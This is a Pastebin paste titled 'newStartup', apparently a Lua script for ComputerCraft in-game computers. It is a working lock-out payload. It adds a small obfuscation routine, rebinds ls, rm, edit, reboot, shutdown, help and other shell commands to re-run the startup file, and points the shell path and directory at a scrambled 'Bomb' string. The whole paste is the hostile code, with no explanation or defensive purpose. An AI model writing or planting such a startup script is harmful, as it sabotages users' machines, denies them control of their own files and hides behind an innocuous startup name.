Advertisement
Guest User

newStartup

a guest
May 20th, 2018
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.45 KB | None | 0 0
  1. local function convert(chars,dist,inv)
  2.     local charInt = string.byte(chars);
  3.     for i=1,dist do
  4.         if(inv)then charInt = charInt - 1; else charInt = charInt + 1; end
  5.         if(charInt<32)then
  6.             if(inv)then charInt = 126; else charInt = 126; end
  7.         elseif(charInt>126)then
  8.             if(inv)then charInt = 32; else charInt = 32; end
  9.         end
  10.     end
  11.     return string.char(charInt);
  12. end
  13.  
  14. local function crypt(str,k,inv)
  15.     local enc= "";
  16.     for i=1,#str do
  17.         if(#str-k[5] >= i or not inv)then
  18.             for inc=0,3 do
  19.                 if(i%4 == inc)then
  20.                     enc = enc .. convert(string.sub(str,i,i),k[inc+1],inv);
  21.                     break;
  22.                 end
  23.             end
  24.         end
  25.     end
  26.     if(not inv)then
  27.         for i=1,k[5] do
  28.             enc = enc .. string.char(math.random(32,126));
  29.         end
  30.     end
  31.     return enc;
  32. end
  33. local enc1 = {124,532,123,22,0};
  34. local enc2 = {124,532,123,22,20};
  35.  
  36. function disPlace()
  37.     shell.clearAlias("ls")
  38.     shell.clearAlias("dir")
  39.     shell.clearAlias("cp")
  40.     shell.clearAlias("mv")
  41.     shell.clearAlias("rm")
  42.     shell.setAlias("ls", "startup")
  43.     shell.setAlias("dir", "startup")
  44.     shell.setAlias("cp", "startup")
  45.     shell.setAlias("mv", "startup")
  46.     shell.setAlias("rm", "startup")
  47.     shell.setAlias("list", "startup")
  48.     shell.setAlias("edit", "startup")
  49.     shell.setAlias("reboot", "startup")
  50.     shell.setAlias("shutdown", "startup")
  51.     shell.setAlias("lua", "startup")
  52.     shell.setAlias("delete", "startup")
  53.     shell.setAlias("help", "startup")
  54.     local var = crypt("Bomb", enc2)
  55.     shell.setPath(var)
  56.     shell.setDir(var)
  57. end
  58.  
  59. disPlace()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement